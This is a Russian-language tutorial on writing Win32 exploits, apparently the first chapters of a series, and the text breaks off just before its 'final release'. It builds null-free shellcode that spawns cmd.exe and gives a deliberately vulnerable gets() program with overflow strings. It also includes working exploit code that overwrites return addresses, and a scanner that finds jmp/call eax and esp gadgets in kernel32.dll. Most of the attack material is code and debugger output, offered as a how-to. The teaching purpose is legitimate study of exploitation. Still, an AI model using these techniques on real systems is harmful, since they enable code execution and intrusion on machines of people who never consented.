В данном учебнике приведены примеры ошибок в ПО, а затем примеры эксплойтов к ним. Для начала разберемся с Вин32, а потом будем разбираться с никсами. Там уже будет веселее. А пока учимся ломать попсу (Вин32 на x86). В конце можно будет перейти на никсы, даже на альтернативных платформах (SPARC, MIPS, Macintosh). Все зависит от вас!
Теперь о навыках, необходимых для овладевания нелегким эксплойтерским делом.
Необходимые навыки:
- знание Си (хотя бы до среднего уровня);
- знание Ассемблера для x86, а точнее для защищенного режима процессора;
- знание WinAPI, а точнее умение пользоватья МСДНом, либо Win32 SDK;
- желание обучиться и упрямство.
Необходимое ПО:
- компилятор Си (в принципе поддойдет любой, но для стандартизации и облегчения взаимопонимания рекомендую VC 6.0 или 7.0);
- компилятор Ассемблера (опять-таки любой, но я буду пользоваться FASM);
- отладчик любой, рекомендую Olly Debuger. Главное умение им пользоваться. Владеете хорошо TD32 пользуйтесь им!
- дизассемблер - IDA. Желательно версии не ниже 3.75, чтобы нормально поддерживал сигнатуры VC 6.0.
Если нет чего-то из ПО - найдите. Если нет чего-то из навыков - исправьте, подучите. Не хватает немного знаний в чем-то? Все равно читайте, пробуйте! Главное разобраться с принципом, дальше будет легче.
Оглавление.
0x00. Шеллкодинг: Азы. Общие понятия.
0x01. Переполнение буффера: Разъяснение. Игра с адресами.
0x02. Переполнение буффера: Варианты размещения шеллкода.
0x03. Переполнение буффера: Собираем все вместе. Практика.
0x04. Return-To-Func: Учимся кудесничать. Сразу в бой.
Учебник эксплойтера: 0x00.
Шеллкодинг. Азы. Общие понятия.
0. Что такое шеллкод?
Шеллкод - это код который вполняется при эксплойтировании. Причем это непросто содержимое ехе-шника. Это конечно же более серьезная
весчъ. Отличия в написании шеллкода от написания обыной программы заключается в том, что у нас фактически нет таблицы импорта, нет
датасегмента. Зачастую все находится в стеке. Вообщем условия для исполнения бывают самые жуткие.Сразу оговорюсь о том, что в данной
статье написание универсального шеллкода под все версии ОСи не обсуждается (будет в будущем). Шеллкоды зачастую пишутся под конкретные
условия, поэтому универсальный шеллкод написать довольно-таки сложно. В данной статье рассмотрен локальный шеллкодинг под винды онли.
1.Виды шеллкодов.
Теперь о видах шелкодов. Шелкоды можно разделить на несколько типов и категорий. По категориям: сетевой и локальный (извиняюсь за корявый
язык). По типам: запускающий коммандную строку, создающий пользователя, bind-shell (маленький телнет сервер на одного человека), connect back
(телнет сервер наоборот),ftp+exec (позволяют закачивать на удаленную машину файлы и исполнять их), комбинированные варианты.
2. Разъясняем обстановку.
Шеллкод как вы уже поняли выполняется в программе, которую мы будем эксплойтировать. Т.е. мы заранее не можем предположить что за хлам
находится в стеке и где вообще щас расположен. Но это не столь важно. Гораздо более важно, то, что для для запуска коммандного интерпретатора
нам надо вызвать например функцию WinExec (можно и др. ф-ции но суть не в этом), но для этого надо знать ее адрес в памяти, который мы
естественно изначально не знаем. Ко всему прочему шеллкод зачастую сам находится в стеке, т.е надо быть осторожным, чтоб не затереть самого
себя. Данные в отсутствие датасегмента опять-таки будем хранить в стеке. В завершении абзаца хочу сказать, что если вы не поняли, что-то, то
поймете по ходу дела.
3. Шеллкодим по маленьку. Вобщем обо всем.
Здесь мы напишем что-то вроде прообраза шеллкода на Си. Читайте комментарии в исходнике.
#include <windows.h> //Подключаем хэдер файл, //где объявлены все ВинАПИ. void main() //Собственно основная ф-ция //программы. { char cmd[]="cmd.exe"; //Переменая указывающая файл, //необходимый для запуска. WinExec(cmd,SW_NORMAL); //Исполняем cmd.exe. SW_NORMAL //говорит о том что окно cmd.exe //будет нормальным(не свернутым //и не развернутым). Почему мы не //исползовали вместо этого //SW_SHOW будет объяснено далее. }
Скомпилируйте данную программу. В результате вы получите программу, которая в результате запускает коммандный интерпретатор cmd.exe. Теперь
разберемся в том, какие параметры передаются функции WinExec. Первый параметр адрес строки с названием программы для запуска. Второй параметр как я уже говорил говорит о том как будет выглядеть запущенная программа.
Итак первый параметр двойное слово (4 байта) т.е. unsigned long на сишный манер, второй параметр размером в 4 байта, т.е. unsigned int. Причем,
заметьте SW_NORMAL равен на самом деле просто 1 (объявлен в WINUSER.H : #define SW_NORMAL 1). Учтем это и слегка перепишем наш сишный шеллкод.
#include <windows.h> void main() { char cmd[]="cmd.exe"; WinExec((unsigned long)&cmd, (unsigned int)1); }
Попрежнему исполняется cmd.exe. Если есть желание добавmте и посмотрите адрес расположения переменной cmd в памяти.
printf("0x%08p",&cmd);
Скорее всего оно у вас будет 0x0012xxxx. У меня например 0x0012FF78. Теперь пойдем на уровень ниже. Итак как же происходит вызов функций.
Грубо говоря мы просто пихаем в стек обратном порядке все аргументы функции, а затем ее вызываем (это верно для функций, которые не __fastcall
). Еще раз перепишем шеллкод теперь со вставкой на асме.
#include <windows.h> void main() { char cmd[]="cmd.exe"; _asm //Указываем, что пошла асм вставка. { push 1 //Пишем в стек вид окна SW_NORMAL lea eax,cmd //Получаем в eax адрес переменной cmd push eax //пишем этот адрес в стек mov eax,[WinExec] //Пишем в eax адрес WinExec call eax //переходиим по этому адресу (просто вызывем ф-цию). } }
В результате опять-таки у нас получатся запущенный шелл. Советую добавить вставки с выводом с помощью printf'а разных данных. Вам же будеи легче идти дальше. Советую здесь слегка задержаться и поэксперементировать.
Давайте теперь избавимся от необходимости в датасегменте. Будем писать переменную в стек. А затем уже работать с ней.
#include <windows.h> void main() { _asm { push 20646D63h //Пишем в стек " dmc" в hex-кодах, т.е cmd с пробелом но в //обратном порядке (мы же в стек пишем). mov eax,esp //Узнаем адрес строки, что мы только что записали //и сохраняем его в eax. push 1 //SW_NORMAL - вид окна push eax //Пишем сохранненный зараннее адрес строки mov eax,[WinExec] //Пишем в eax адрес WinExec call eax //переходиим по этому адресу. } }
Теперь я думаю у вас выскочила ошибка, но консоль все же появилась. Скорее всего что там вам говорлось о том что ошибка в модуле checkesp.c
К чему бы это, а что мы портим стек в программе. Но это в принципе для шеллкода не важно. Фиксится очень легко: сохранением esp а затем
его восстанавливаем. т.е. Нужен данный фикс тока на время отладки дабы не кликать все время на кнопку продолжить. Т.е. в релизе мы его
уберем.
#include <windows.h> void main() { _asm { mov ebx,esp //Сохраняем указатель на стек. push 20646D63h mov eax,esp push 1 push eax mov eax,[WinExec] call eax mov esp,ebx //Восстанавливаем его. } }
Теперь чтобы получить шеллкод надо сделать чтобы вызов функции WinExec был статичным (без таблицы импорта, которой у шеллкода нет). Но для этого надо знать адрес WinExec в памяти. Найдем... его.
#include <windows.h> void main() { unsigned long KernelAddr; //Переменная адрес ядра unsigned long WinExecAddr; //Переменная адрес WinExec //Находим адрес нужной нам библиотеки KernelAddr=GetModuleHandle("KERNEL32.DLL"); printf("Kernel base is at address: 0x%08p\n",KernelAddr); //Находим адрес WinExec в этой библиотеке WinExecAddr=GetProcAddress(KernelAddr,"WinExec"); printf("WinExec address in memory is: 0x%08p\n",WinExecAddr); getch(); }
Данная программка скажет вам адрес ядра (пригодится в будущем) и адрес WinExec в KERNEL32.DLL. Вы спросите почему KERNEL32.DLL, а не например
ADVAPI32.DLL. Ответ прост WinExec экспортируется в этой библиотеке. Итак программе мне сказала, что адрес WinExec ---> 0x793A9C1D. Опять перепишем шеллкод.
#include <windows.h> void main() { _asm { mov ebx,esp push 20646D63h mov eax,esp push 1 push eax mov eax,793A9C1Dh call eax mov esp,ebx } }
Релиз:
#include <windows.h> void main() { _asm { push 20646D63h mov eax,esp push 1 push eax mov eax,793A9C1Dh call eax } }
В принципе шеллкод уже написан, осталось получить его опкодую реализацию. Это можно сделать в отладчике, который идет с MS VC. А именно: начните отлаживать (F11), затем в меню View->Debug windows->Disassembly, в появившемся окне в контекстном меню поставьте галочку напротив Code
Bytes. И соберите шеллкод как собрал его я.
В отладчике.
25: _asm 26: { 27: push 20646D63h 00401028 68 63 6D 64 20 push 20646D63h 28: mov eax,esp 0040102D 8B C4 mov eax,esp 29: push 1 0040102F 6A 01 push 1 30: push eax 00401031 50 push eax 31: mov eax,793A9C1Dh 00401032 B8 1D 9C 3A 79 mov eax,793A9C1Dh 32: call eax 00401037 FF D0 call eax 33: }
Итак наш шеллкод полученный с помощью дебаггера.
unsigned char shellcode[17]= "\x68\x63\x6D\x64\x20" //push 20646D63h "\x8B\xC4" //mov eax,esp "\x6A\x01" //push 1 "\x50" //push eax "\xB8\x1D\x9C\x3A\x79" //mov eax,793A9C1Dh "\xFF\xD0"; //call eax
Либо второй метод, скомпилировать в фасме.
use32 push 20646D63h mov eax,esp push 1 push eax mov eax,793A9C1Dh call eax
А полученный COM файл и будет шеллкодом, откуда его надо будет прочитать с помощью хекс редактора (любого) и переписать в тот формат в каком я его показал.
68636D642089E06A0150B81D9C3A79FFD0 (в хекс редакторе)
Результат:
unsigned char shellcode[17]= "\x68\x63\x6D\x64\x20\x89\xE0\x6A\x01" "\x50\xB8\x1D\x9C\x3A\x79\xFF\xD0";
Разница в шеллкодах не в форме но, в содержании из-за разных ассемблеров. Проверить его можно так.
void main() { _asm { lea eax,shellcode jmp eax } }
или так
void main() { int (*funct)(); funct = (int (*)()) shellcode; (int)(*funct)(); }
Протестил оба шеллкода - работают. У вас должно работать по идее тоже, надо всего лишь подправить адрес WinExec для вашей системы. Если вы заметили, то при тестинге шеллкода у вас появлялась консоль, а потом окно с ошибкой по адресу 0x00000005. Это происходит из-за того, что выполнив наш шеллкод прцоцессор продолжает выполнять код лежащий в стеке за дальше нашим шеллкодом. А в стеке там белиберда...
Поэтому нам надо чтобы шеллкод завершал работу эксплойтированной программы корректно через ExitProcess, а не расхлябано оставлять все на самотек. Что мы сейчас и сделаем. Немного модернизируйте программу для нахожения WinExec для обнаружения ExitProcess в ядре.
#include <windows.h> void main() { _asm { push 20646D63h mov eax,esp push 1 push eax mov eax,793A9C1Dh call eax push 0 //Пишем в стек аргумент, т.е. 0. mov eax,793AE01Ah //Адрес ExitProcess в ядре у меня. call eax //Вызываем эту функцию. } }
Итак на сегодня финальная версия шеллкода выглядит именно так. Щас мы ее привдет к нормальному виду. Через отладчик MS VC:
56: _asm 57: { 58: push 20646D63h 00401028 68 63 6D 64 20 push 20646D63h 59: mov eax,esp 0040102D 8B C4 mov eax,esp 60: push 1 0040102F 6A 01 push 1 61: push eax 00401031 50 push eax 62: mov eax,793A9C1Dh 00401032 B8 1D 9C 3A 79 mov eax,793A9C1Dh 63: call eax 00401037 FF D0 call eax 64: push 0 00401039 6A 00 push 0 65: mov eax,793AE01Ah 0040103B B8 1A E0 3A 79 mov eax,793AE01Ah 66: call eax 00401040 FF D0 call eax 67: }
Результат:
unsigned char shellcode[] = "\x68\x63\x6D\x64\x20" //push 20646D63h "\x8B\xC4" //mov eax,esp "\x6A\x01" //push 1 "\x50" //push eax "\xB8\x1D\x9C\x3A\x79" //mov eax,793A9C1Dh "\xFF\xD0" //call eax "\x6A\x00" //push 0 "\xB8\x1A\xE0\x3A\x79" //mov eax,793AE01Ah "\xFF\xD0"; //call eax
Через FASM + хекс редактор
68636D642089E06A0150B81D9C3A79FFD06A00B81AE03A79FFD0
unsigned char shellcode[]= "\x68\x63\x6D\x64\x20\x89\xE0\x6A\x01\x50\xB8\x1D\x9C" "\x3A\x79\xFF\xD0\x6A\x00\xB8\x1A\xE0\x3A\x79\xFF\xD0";
Тестим шеллкоды так же. Ну завершим урок тем, что сформируем все это месиво в один красивый релиз.
#include <windows.h> unsigned char shellcode[] = "\x68\x63\x6D\x64\x20" //push 20646D63h "\x8B\xC4" //mov eax,esp "\x6A\x01" //push 1 "\x50" //push eax "\xB8\x1D\x9C\x3A\x79" //mov eax,793A9C1Dh "\xFF\xD0" //call eax "\x6A\x00" //push 0 "\xB8\x1A\xE0\x3A\x79" //mov eax,793AE01Ah "\xFF\xD0"; //call eax void prepare_shellcode() { unsigned long kerneladdr; unsigned long addr; //Находим адрес ядра kerneladdr=GetModuleHandle("KERNEL32.DLL"); printf("KERNEL base is: 0x%08p\n",kerneladdr); //Находим адрес WinExec в ядре и меняем его в шеллкоде addr=GetProcAddress(kerneladdr,"WinExec"); printf("WinExec address is: 0x%08p\n",addr); *(DWORD *)(shellcode+11) = addr; //Находим адрес ExitProcess в ядре и меняем его в шеллкоде addr=GetProcAddress(kerneladdr,"ExitProcess"); printf("ExitProcess address is: 0x%08p\n",addr); *(DWORD *)(shellcode+20) = addr; } void main() { prepare_shellcode(); _asm { lea eax,shellcode jmp eax } }
Таким мы получили практически "универсальный" и рабочий шеллкод. Который можно использовать в больштнстве локальных эксплойтов. Единственно что нужно так это вызывать функцию prepare_shellcode для настройки шеллкода под даную систему. Скомпилируйте данную програмулинку - думаю она у вас заработает. И напоследок: знайте, данный шеллкод еще очень далек от совершенства и в нем специально допущена одна недоработка, чтобы заострить на ней внимание в следующей главе про переполнение буффера.
1. Компилятор С/С++
Где взять микрософтовский компилятор (правда без IDE, зато бесплатно) написано здесь. Где скачать Visual Studio целиком - ищите здесь.
В принципе Visual Studio конечно удобнее, но и весит на порядок больше, чем компилятор указаный выше. Если все же будете ставить себе Visual Studio - не поленитесь скачать и установить Visual Assist X. Он очень сильно облегчит вам работу.
Еще можно пользоваться компилятором gcc. Он входит в состав Cygwin - качаем и запускаем его. Дальше в принципе все достаточно понятно. Если будет непонятно - спрашивайте, объясню. Просто мне кажется, что немного кто будет его качать, а те, кто будут сами разберутся.
Нужно еще скачать Platform SDK с microsoft.com. Полный вариант весит 342 метра и нужно оттуда реально совсем немного. Для наших целей будет достаточно скачать только Core SDK (там метров 150 должно получиться). Когда будете качать - не забудьте отключить кусок, предназначеный для 64-разрядных платформ (если конечно у вас не такая). Можно скачать двумя способами - либо нажать в левом вертикальном меню на пункт CoreSDK и потом на следующей странице Install this SDK, но в этом случае нельзя будет отказаться от компонент для 64-разрядных платформ. Можно еще из верхнего горизонтального меню выбрать Download->Install и на следующей странице выбрать только то, что нужно.
2. Ассемблер.
Рекомендованный FASM. Есть еще NASM. Размер около
200 кБ.
3. Отладчик.
Olly Debugger. Знающие и умеющие могут юзать другие вплоть до SoftICE.
4. Дизассемблер.
IDA (IDA Pro Standard 4.7.0.830 весит 29 метров). Кроме IDA есть другие дизассемблеры, например в состав NASM входит дизассемблер или же на страничке Olly Debugger'a есть ссылка на их продукт.
И еще. Если у вас нет MSDN на CD - не обязательно идти на рынок и покупать или же выкачивать несколько дисков из сети. Бесспорно, MSDN
установленный локально экономит кучу времени и сил, но если все же достать его проблематично - всегда можно сходить на msdn.com и пользоваться на здоровье. Там всегда последняя версия, чего нельзя сказать о той, что будет стоять у вас локально. С другой стороны, те функции, о которых нам нужно будет читать не изменяются уже очень давно (все таки это правильно когда API системы не изменяется, посему выбирайте наиболее удобный для вас способ.
Еще рекомендуется редактор Scite и плагин к нему для поддержки WinAPI.
0x01. Переполнение буфера: разъяснение. Игра с адресами.
Продолжим разговор. Будем исходить из того, что с шеллкодигом вы разобрались (хороший вариант), либо раздобыли рабочий шеллкод (плохой вариант - вам же дальше хуже будет).
1. Пишем уязвимую программу. Разводим жуков.
Дырявые программы еще надо уметь писать и микрософт это всем доказал... Мы щас тоже напишем кое-что. Наша программа будет просто считывать с консоли строки и ложить ее в массив. Все просто... просто до безумия.
#include <stdio.h> //Подключаем модуль стандартного //ввода-вывода. void main() //Основная ф-ция. { char small[18]; //Буффер собственно. gets(small); //Читаем в буффер. }
Компилируем... Сразу предупрежу: компилируем именно в релиз, debug-версия тоже пойдет, но из-за наличия кучи левого (отладочного кода) она рассматриваться не будет.
2. Тестим на жуковатость.
Запускаем. Вводим строку..(12 симолов длиной). Все пока работает нормально. Теперь введем такую строку.
AAAAAAAAAAAAAAAAAAAAAAAA
Если у вас все так же как у меня (тот же компилятор), то у вас программа упадет по адресу 0x41414141. Опа а адрес какой-то странный. Кажется мы его можем менять (0x41 - ASCII код буквы 'A'). Теперь введем другую строку
AAAAAAAAAAAAAAAAAAAAABCD
В результате программа опять падает, но на этот раз по адресу 0x44434241. Забавно. А теперь вспомним, что
0x44 - 'D'
0x43 - 'C'
0x42 - 'B'
0x41 - 'A'
Выходим мы можем послать программу, куда нам надо. Даже на 0x686F6F69 (hooi).
3. Отладка и понимание.
Как же это получается. Разберемся с этим поподробнее. Для этого отладим программу. Я лично отлаживаю в OllyDbg. Но в данном случае удобно воспользоваться встроенным в MS VC IDE отладчиком. Так как он показывает вначале си-код, а затем асм-код. Итак:
6: gets(small); //Узнаем адрес char small[18] и пишем его в eax. 00401028 8D 45 EC lea eax,[ebp-14h] //Пишнм eax в стек. Т.е. заносим туда адрес буффера. 0040102B 50 push eax //Вызываем ф-цию ввода строки. 0040102C E8 2F 00 00 00 call gets //Восстанавливаем указатель на стек. 00401031 83 C4 04 add esp,4
Во время отладки на этот раз в OllyDbg (ну удобнее он мне, что поделать) выяснил, что адрес нашей строки в памяти 0x0012FF70. Посмотрим что там. А там:
0012FF68 | 0D 10 40 00 70 FF 12 00 | .@.pя. 0012FF70 | 41 41 41 41 41 41 41 41 | AAAAAAAA 0012FF78 | 41 41 41 41 41 41 41 41 | AAAAAAAA 0012FF80 | 41 41 | AA
0x0012ff68 - 0x0012ff6b - это сохраненный EIP
0x0012ff6c - 0x0012ff6f - это сохраненный EBP
0x0012ff70 - 0x0012ff81 - это наша строка
Не забудьте про обратный порядок пихания в стек... Итак схема (перевернутая для правильного, но неудобного просмотра)
[ ..СТЭК.. 0x0012ff81 ]
[ наша строка (18 байт) ]
[ сохраненный EBP (4 байта) ]
[ сохраненный EIP (4 байта) ]
[ ..СТЭК.. 0x0012ff68 ]
4. Грязные игры и переписи.
Итого чтобы переписать адрес возврата из ф-ции нам надо передать строку длиной 22 байт + 4 байта адрес. Т.е. мы можем прыгнуть на любой код, в том числе и налюбую функцию в программе. Это все конечно интересно, но вернемся к теории. Поясню что там делают сохраненные регистры. Дело в том, что при вызове функции gets() сохраняется регистр ebp (перед тем как сохраняется esp в ebp) и eip для возврата обратно из функции в нужное (в данном случае нам место). А при переполнении мы соответственно соответственно трем все сохраненки регистров. А когда же происходит выход из
функции gets, инструкция ret берет первые же четыре байта из стэка и принимает их за адрес возврата и соответственно переходит по нему. Это была теория. А теперь продолжим наши нецензурные забавы.
Для этого перепишем уязвимую программу
#include <stdio.h> void test() { //Выводи тестовую строку. printf("We are here...\n"); } //Здесь все так же как и раньше. //кроме одного void main() { char small[18]; //Вызываем ф-цию test() первый раз. test(); gets(small); }
Запустим:
\Release>buggy
We are here...
ascsdc
5. Готовим сплойт. И проверяем его.
Как видите в этой программе функция test() вызывается один раз. Чтож проэксплойтируем так чтобы уязвимая программа вызвала эту
функцию на бис... Для этого узнаем адрес этой функции, продизассемблировав уязвимую программу. У меня в IDA.
.text:00401001 mov ebp, esp .text:00401003 push offset aWeAreHere___ ; .text:00401008 call _printf
Вывод нам надо перезаписать адрес возврата на 0x00401001. Напишем наш первый сплойт.
#include <stdio.h> void main() { //00401001 char big[]= "AAAAAAAAAAAAAAAAAAAA" //Просто для переполнения "\x01\x10\x40\x00"; //адрес возврата //(в обратном порядке //мы же в стеке все же, //а там все наоборот) printf(big); //выводим нашу строку. }
Скомпилируем. И перенаправим вывод из эксплойта в уязвимую программу.
\Release>exploit | buggy
We are here...
We are here...
Как видите мы вызвали функцию test() второй раз, перескочив на него. При этом правда наша програма упала (содержимое регистров и стека
испортилось ведь), но да ладно. Главное - мы можем прыгать на любой почти место в памяти. Напомню, что строка вводимая не должна содержать символы 0x00, 0x0a, 0x0d, 0x1a (либо содержать в качестве последнего символа строки). Ибо ввод строки прекращается при получении данных символов. В том числе и на содержимое в стеке, где может находится и наш код, но об этом следующий раз.
Хочу заметить, что данную программу надо всегда запускать с параметрами. Иначе кирдык. Удачи всем. Скоро мы совмести прыжки по адресам с
шеллкодами.
Переполнение буффера: Варианты размещения шеллкода.
1. Сидим в отладчике и не высовываемся. Думаем о светлом будущем.
Итак мы уже научились прыгать куда хотим или почти куда хотим, чтож это всема неплохо. Не хватает лишь финального прыжка на шеллкод. Вы зададите вопрос а где шеллкод? А я отвечу, что вполне логичным и что главное естественным, является замена наших "AAA.AA" на шеллкод, это и есть вариант номер ноль. Который сразу отметается в данном случае, поскольку он требует чтобы буффер был не меньше шеллкода. Т.е. схема [мусор+шеллкод][адресс возврата]
Теперь поподробнее об адресе возврата, адрес возврата должен быть указывающим на расположения шеллкода в стеке, но так как стек (точнее его верхушка) всегда расположен по разным адресам и их сложно предугадать. Это я говорю к тому, чтобы вы поняли, что адресс возврата не должен прошиваться статически. Зачастую программу отлаживают и вясняют какой регистр указывает на адрес строки в стеке. При отладке нашей программы выяснилось, то что на строку указывает (содержит адрес ее расположения в памяти) регистр eax, поэтому чтобы не искать каждый раз строку в памяти вместо адреса указывающего на строку пишут переход по регистру.
В данном случае это jmp eax или call eax. Эти безусловные переходы ищут в ядре, к которому естественно любой процесс имеет право обратиться (за помощью). Итак схема.
________БУФЕР______ 0x0012ffXX ...СТЭК....[nop.....nop+shellcode] [адрес возврата] ...................... ^ | | ..................... /|\ | | ||| | | |__=====jmp/call eax====__| ЯДРО KERNEL32.DLL
Рисовать не умею, но надеюсь общий смысл вы поняли. Почему в ядре, а например не в самой уязвимой программе? В принципе и так возможно, но только
для этого метода. Потому, что обычно адрес загрузки ехешника 0x00400000. А как следствие адрес этого безусловного перехода а программе будет (перевернутый ужедля записи в стэк) \xXX\xXX\x4X\x00, т.е. после этого мы уже ничего строке не передадим потому что в адресе нулевой байт, который является признаком конца строки. Т.е. представьте себе картину - у нас маленький буфер как сейчас, которого не хватает для размещения
шеллкода. Тогда эксплойтеры делают вот что передают строку такого содержания:
|+==================+ || || || \/ [минишеллкод][адрес возврата][полный шеллкод] /\ || || || |_=======================_|
Если что-то из этих трех заений цепи содержит плохие байты:
- 0x00 - конец аски строки.
- 0x0a - еще какой-то плохой символ.
- 0x0d - символ ENTER, тоже служит концом строки.
- 0x1a - EOF он же End Of String 8)
то следующие звения цепочки просто не будут введены.
Как же искать jmp eax (FF E0) или call eax (FF D0)? Есть несколько путей:
- отладчик
- сами с усами и писать сами будем.
Вообщем делайте как хотите а я давно себе заготовил такую программу.
/* * Just a Small Address Finder by 0x90 [at] rambler.ru * Feel Free to modify the code. I'l be glad to see * the modifications of this proggie at my mail. * P.S. yes, I know that the code is dummy 8). */ #include <windows.h> #include <conio.h> #include <stdio.h> //Fucking Bytes check function int ContainsFuckingBytes(unsigned long addr) { int i; char str[8]; itoa(addr,str,16); if (strlen(str)<7) return 1; if (strlen(str)==7 && (str[0]=='a' || str[0]=='c')) return 1; if (strlen(str)==8) { for (i=0; i<8; i+=2) { if (str[i]=='0' && (str[i+1]=='0' || str[i+1]=='a' || str[i+1]=='c')) return 1; if (str[i]=='1' && str[i+1]=='a') return 1; } } return 0; } int get_it(char *pDllName) { HINSTANCE h; unsigned long a=0; int found = 0; BYTE* ptr; BOOL finished=FALSE; printf("Checking if %s loaded...\n",pDllName); h = GetModuleHandle(pDllName); if (h==0) { printf("%s isn't loaded.\n",pDllName); return 0; } printf("%s is loaded at the moment and its addres is %p\n",pDllName,h); ptr = (BYTE*)h; while (1) { __try { if (ptr[a]==0xff) { if (ptr[a+1]==0xd0) { if (!ContainsFuckingBytes((unsigned long)h+a)) { printf("call eax found at 0x%p\n",(unsigned long)h+a); found++; } } if (ptr[a+1]==0xe0) { if (!ContainsFuckingBytes((unsigned long)h+a)) { printf("jmp eax found at 0x%p\n",(unsigned long)h+a); found++; } } } a++; } __except(printf("\nSearch ended. % iaddresses found! \n",found), EXCEPTION_EXECUTE_HANDLER) { } } return ; } int main(int argc, char *argv[]) { unsigned long addr; addr=get_it("KERNEL32.DLL"); getch(); return 0; }
Данная программа выдаст вам все адреса jmp eax в ядре. Но так как придется дробить шеллкод на две части, то это сильно усложнит все. Поэтому перейду к методу номер 1. Но для начала вернемся на землю...
Приступим к практике. Сразу скажу: вот исходный текст уязвимой программы и компилировать его надо обязательно в релиз.
#include <stdio.h> void main() { char small[18]; gets(small); }
Итак поехали. Главное в этой главе экспериментировать. Скомпилировал, запустил, ввел AAAAA - в результате нашел AAAAA в стеке по адресу 0x0012ff70.
0012FF70 41 41 41 41 41 00 00 00 AAAAA...
0012FF78 56 00 00 00 4D 13 40 00 V...M@.
Для этого использовал OllyDbg, т.к. ледышка у меня на ноуте отказывается напрчь работать правильно с клавой, это я говорю с намеком на то, чтобы вы использовали именно тот отладчик, который вам УДОБНЕЙ, а не который считается "крутым дебаггером". Искать в памяти можно двумя наиболее
простыми методами: поиск строки в памяти (думаю легко освоите) или как сделал я - смотрим указатель на стек ESP перед вызовом функции gets (в моем случае ESP = 0x0012ff88) идем по этому адресу в дампе и где-то рядом валяется истина, т.е. введенная нами строка.
Сразу скажу предложенные методы выбраны автором по принципу чем проще - тем лучше. Другие методы можете предлагать, автор их обязательно рассмотрит. Итак вы нашли адрес строки в памяти - отлично.
2. Испробуем вариант номер раз.
Суть такого варианта в том что мы размещаем шеллкод после адреса возврата и переходим на него тоже динамически посредством jmp/call esp.
0x0012ffXX ...стэк..[мусор из 0x90][адрес возврата][шеллкод] | /\ 0x793AXXXX ...ядро...............[jmp esp]<--+ || |________________+
Преимущество данного метода в том, что он практически не ограничивает размер шеллкода. Заготовленный заранее из прошлых глав код в студию.
#include <windows.h> unsigned char shellcode[26] = "\x68\x63\x6D\x64\x00" //push 00646D63h "\x8B\xC4" //mov eax,esp "\x6A\x01" //push 1 "\x50" //push eax "\xB8\x1D\x9C\x3A\x79" //mov eax,793A9C1Dh "\xFF\xD0" //call eax "\x6A\x00" //push 0 "\xB8\x1A\xE0\x3A\x79" //mov eax,793AE01Ah "\xFF\xD0"; //call eax void prepare_shellcode() { unsigned long kerneladdr; unsigned long addr; //Находим адрес ядра kerneladdr=GetModuleHandle("KERNEL32.DLL"); printf("KERNEL base is: 0x%08p\n",kerneladdr); //Находим адрес WinExec в ядре и меняем его в шеллкоде addr=GetProcAddress(kerneladdr,"WinExec"); printf("WinExec address is: 0x%08p\n",addr); *(DWORD *)(shellcode+11) = addr; //Находим адрес ExitProcess в ядре и меняем его в шеллкоде addr=GetProcAddress(kerneladdr,"ExitProcess"); printf("ExitProcess address is: 0x%08p\n",addr); *(DWORD *)(shellcode+20) = addr; }
Теперь напишем эксплойт, учтите размер буфера теперь 28 байт, т.е. нам надо 32 байта чтобы затереть адрес. Проверим экспериментально - действительно программа падает по адресу 0x44434242 при вооде строки
AAAAAAAAAAAAAAAAAAAAAAAAAAAAABCD
Исходя из схемы, напишем эксплойт.
#include <windows.h> #include <stdio.h> unsigned char big[]= //32 bytes A "AAAAAAAAAAA" "AAAAAAAAAAA" "AAAAAAAAAA" /*addr 4 bytes*/ //0x793BEDBB jmp esp in kernel32.dll "\xBB\xED\x3B\x79" /*shellcode*/ "\x68\x63\x6D\x64\x00" //push 00646D63h "\x8B\xC4" //mov eax,esp "\x6A\x01" //push 1 "\x50" //push eax "\xB8\x1D\x9C\x3A\x79" //mov eax,[WinExec] "\xFF\xD0" //call eax "\x53" //push ebx "\xB8\x1A\xE0\x3A\x79" //mov eax,[ExitProcess] "\xFF\xD0"; //call eax void prepare_shellcode() { unsigned long kerneladdr; unsigned long addr; //Находим адрес ядра kerneladdr=GetModuleHandle("KERNEL32.DLL"); //Находим адрес WinExec в ядре и меняем его в шеллкоде addr=GetProcAddress(kerneladdr,"WinExec"); //printf("0x%08p\n",addr); *(DWORD *)(big+47) = addr; //Находим адрес ExitProcess в ядре и меняем его в шеллкоде addr=GetProcAddress(kerneladdr,"ExitProcess"); //printf("0x%08p\n",addr); *(DWORD *)(big+55) = addr; } void main() { prepare_shellcode(); printf(big); }
Странно почему ничего не работает? Да еще и программу крэшит. Посмотрим что же выводит эксплойт. А он выводит всего лишь "AAAAA...AAAhcmd". Почему? Да потому что у нас в шеллкоде есть нулевой байт, после которого заканчивается ввод/вывод строки. Если вы внимательно читали прошлые главы, то заметили, что этого противного байта раньше не было. Я им заметил в шеллкоде символ пробела при записи в стек "cmd". Я это сделал для того, что по стандарту строка должна заканчиваться нулевым байтом. Жаль скажите вы придется отойти от стандарта. А вовсе не придется скажу я вам. Вот вам новый шеллкод без нулевых байт.
unsigned char shellcode[28]= //вот так лучше занулять регистры "\x33\xDB" //xor ebx,ebx //во избежания нулевых байт в шеллкоде //пихаем нулевой байт, как конец строки "\x53" //push ebx //а затем уже все почти как раньше. "\x68\x63\x6D\x64\x20" //push 20646D63h //только без нулевых байт. "\x8B\xC4" //mov eax,esp "\x6A\x01" //push 1 "\x50" //push eax "\xB8\x1D\x9C\x3A\x79" //mov eax,793A9C1Dh "\xFF\xD0" //call eax "\x53" //push ebx "\xB8\x1A\xE0\x3A\x79" //mov eax,793AE01Ah "\xFF\xD0"; //call eax
В принципе шеллкод готов. Но хоть и нулевых байтов нет зато есть другой из неприятных (0x00,0x0a,0x0d,0x1a) байто, а именно 0x1a, причем этот байт встревает как нельзя не в том месте - в адресе функции ExitProcess(), отсюда делаем вывод что надо опять переписывать шеллкод. Те у кого эти адреса нормальные могут не переписывать и считать себя везунчиками и радоваться мы же как обычно переписываем шеллкод. Объясняю почему мы переписываем шеллкод, потому что ExitProcess не вызовется и эксплойтируемая программа будет крэшиться. Что у меня и происходило.
Итак, финальный релиз эксплойта с переписанным шеллкодом.
